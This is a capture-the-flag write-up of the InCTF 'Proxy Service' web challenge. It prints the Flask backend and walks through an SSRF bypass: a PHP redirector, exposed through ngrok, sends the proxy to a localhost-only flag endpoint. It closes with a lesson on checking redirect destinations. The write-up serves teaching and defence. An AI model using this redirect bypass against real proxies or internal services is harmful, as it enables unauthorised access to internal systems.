Proxy Service
#inctf#web#ssrf
๐ต๏ธ Challenge: Proxy Service
Description:
I developed this proxy service for InCTF players.
You can use it to proxy anything on the internet.
But Iโm sure that you will not be able to find my secret. If you can prove me wrong, the flag is all yours!
Iโm so confident that I have even attached the source code somewhere.
Let the game begin.Flag format:
inctf{*}
๐ Challenge Page
Opening the challenge leads to a web page that claims to proxy a URL and return its content.
๐ Source Code Found via /viewsource
Inspecting the frontend revealed a hidden path hint in an HTML comment.
Visiting /viewsource
discloses the Python backend logic:
from flask import Flask, request, render_template, Response
from urllib.parse import urlparse
import ipaddress
import os
import requests
import time
import socket
app = Flask(__name__)
# Original flag in env variable
str_flag = os.getenv("FLAG", "inctf{this_is_fake_flag}")
@app.route("/")
def home():
return render_template("index.html")
@app.route("/proxy", methods=["POST"])
def do_request():
try:
url = request.form["url"]
domain = urlparse(url).netloc
if ":" in domain:
domain = domain.split(":")[0]
ip = socket.gethostbyname(domain)
# block access to internal IPs
if ipaddress.ip_address(ip).is_private or url.startswith("http") == False:
return render_template("index.html", message="Access denied !")
else:
# Prevent Denial-of-Service attack
time.sleep(3)
print("Requesting: ", ip)
r = requests.get(url)
body = r.text
return body
except:
return render_template("index.html", message="Some error occured")
@app.route("/viewsource")
def source():
resp = Response(open("app.py").read())
resp.headers['Content-Type'] = 'text/plain'
return resp
@app.route("/gimme_tha_fleg")
def flag():
# Allow flag access to internal IPs only
if request.access_route[-1] == "127.0.0.1":
return f"Welcome, {request.access_route[-1]}. Your flag is <code>{str_flag}</code>"
else:
return "Get outta here!", 403
if __name__ == "__main__":
app.run(debug=False)
๐ Vulnerability Analysis
Letโs break down the logic inside the proxy backend:
ip = socket.gethostbyname(domain)
if ipaddress.ip_address(ip).is_private or url.startswith("http") == False:
return render_template("index.html", message="Access denied!")
Hereโs what it tries to do:
- Blocks private/internal IPs (e.g. 127.0.0.1, 192.168.0.0/16, etc.)
- Requires URLs to start with
http
However, this only checks the resolved IP of the initial domain, not if it redirects to internal services!
๐ Exploiting SSRF via Redirects
We host a PHP redirector locally:
<?php header("Location: http://localhost/gimme_tha_fleg"); ?>
Save this as index.php
and start a local PHP server:
php -S localhost:8080
Then we expose it to the internet using ngrok:
ngrok http 8080
๐ฏ Exploiting the Challenge
Now, enter the ngrok URL into the proxy field:
The backend:
- Resolves the ngrok domain (a public IP)
- Allows the request โ
-
Follows the HTTP 302 redirect to
http://localhost/gimme_tha_fleg
- Since
request.access_route[0] == 127.0.0.1
, the flag is returned
๐ Flag
After successful redirection, the response reveals the flag:
Welcome, 127.0.0.1 Your flag is inctf{i_hacked_a_proxy_service_and_all_i_got_is_this_flag_:/}
โ Summary
- Vulnerability: SSRF with open redirect bypass
- Server only blocks initial domain resolution, not redirects
- Using a redirector, we hit an internal endpoint from the outside
Lesson: Always check the final destination of redirects, not just the first hop.
๐ฅ Video Walkthrough
Watch the full walkthrough here: YouTube Link ๐